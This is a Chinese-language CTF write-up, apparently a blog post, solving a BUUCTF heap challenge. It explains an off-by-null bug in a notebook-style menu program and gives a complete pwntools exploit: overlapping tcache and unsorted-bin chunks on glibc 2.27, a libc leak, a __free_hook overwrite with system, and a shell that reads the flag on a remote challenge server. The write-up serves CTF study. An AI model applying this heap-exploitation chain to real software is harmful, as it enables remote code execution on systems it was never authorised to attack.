[BUUCTF-pwn] 西湖论剑_2018_小陈的笔记本加强版

难度到是没啥难度,需要设计一下块的布置。

菜单题,有add,free,居然还有edit和show(这个很少见了),管理块0x90,在0x70放size和ptr,这样控制ptr就基本OK了。

漏洞点:

readnb函数有off_by_null

unsigned __int64 __fastcall sub_400B8B(__int64 a1, int a2)
{
  char buf; // [rsp+1Fh] [rbp-11h] BYREF
  int i; // [rsp+20h] [rbp-10h]
  int v5; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    v5 = read(0, &buf, 1uLL);
    if ( v5 < 0 )
      exit(1);
    if ( buf == 10 )
    {
      *(_BYTE *)(i + a1) = 0;
      return __readfsqword(0x28u) ^ v6;
    }
    *(_BYTE *)(a1 + i) = buf;
  }
  *(_BYTE *)(i + a1) = 0;                       // off_by_null 多写一个0溢出
  return __readfsqword(0x28u) ^ v6;
}

然后就是布置一下块的放置,由于写后加了\0,所以无法直接用show需要造重叠块,2.27用tcache有传统套路 A0x430+B+C0x500 然后先freeA利用B的off_by_null将C的size 0x501改为0x500,在pre_size写上A+B,再freeC再建A后unsortbin的指针会落在B上,showB就得到libc

这个问题就在有管理块上,要在重叠后控制管理块就得让管理块落在重叠的数据块上,当edit里控制管理块的指针。

先建两个80各用,这个数据块跟管理块大小相同,free后可以放两个头,这样数据块会集中到一起,管理起来比较方便,得到unsort后建建420将unsort落到重叠区,这里把管理块建在这里就行了。

from pwn import *

'''
patchelf --set-interpreter /home/shi/pwn/libc6_2.27-3u1/lib64/ld-2.27.so pwn
patchelf --add-needed /home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so pwn
'''

elf = ELF('./pwn')
context.arch = 'amd64'

def connect():
    global p,libc_elf,one,libc_start_main_ret,local
    
    local = 0
    if local == 1:
        p = process('./pwn')
        libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
        one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
        libc_start_main_ret = 0x21a87
    else:
        p = remote('node4.buuoj.cn', 26158) 
        libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
        one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
        libc_start_main_ret = 0x21b97

menu = b">"
def add(name, size, msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b":", name)
    p.sendlineafter(b":", str(size).encode())
    p.sendlineafter(b":", msg)

def edit(idx, msg):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b":", str(idx).encode())
    p.sendafter(b":", msg)

def free(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b':', str(idx).encode())

def show(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b':', str(idx).encode())

def pwn():
    
    #0m 0d 1m 1d 
    #0m 2m 1m 3m   0d 2d 1d 3d
    add(b'A', 0x80, b'A') #0
    add(b'A', 0x80, b'A') #1
    free(0)
    add(b'A', 0x420, b'A') #0
    add(b'A', 0x88, b'A') #2
    free(1)
    add(b'A', 0x4f8, b'A') #1
    add(b'A', 0x20, b'A') #3

    free(0)
    edit(2, b'A'*0x80 + p64(0x90+0x430))
    free(1)
    add(b'A', 0x420, b'/bin/sh') #0
    
    #context.log_level = 'debug'
    show(2)
    
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
    free_hook = libc_base + libc_elf.sym['__free_hook']
    system    = libc_base + libc_elf.sym['system']
    malloc_hook = libc_base + libc_elf.sym['__malloc_hook']
    realloc   = libc_base + libc_elf.sym['realloc']
    one_gadget= libc_base + one[0] 
    print('libc:', hex(libc_base))

    free(3)
    add(b'A', 0x80, b'A') #1
    add(b'A', 0x20, b'A') #3 3.m == 2.d
    
    edit(2, b'A'*0x70 + p64(8)+ p64(free_hook) + b'\n')
    edit(3, p64(system))
    
    free(0)
    #gdb.attach(p)
    #pause()

    p.sendline(b'cat /flag')
    p.interactive()

connect()
pwn()

坑:

本来看到got表部分保护就想着改got表,本地没问题但远程不行。没办法远程还是修改__free_hook

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值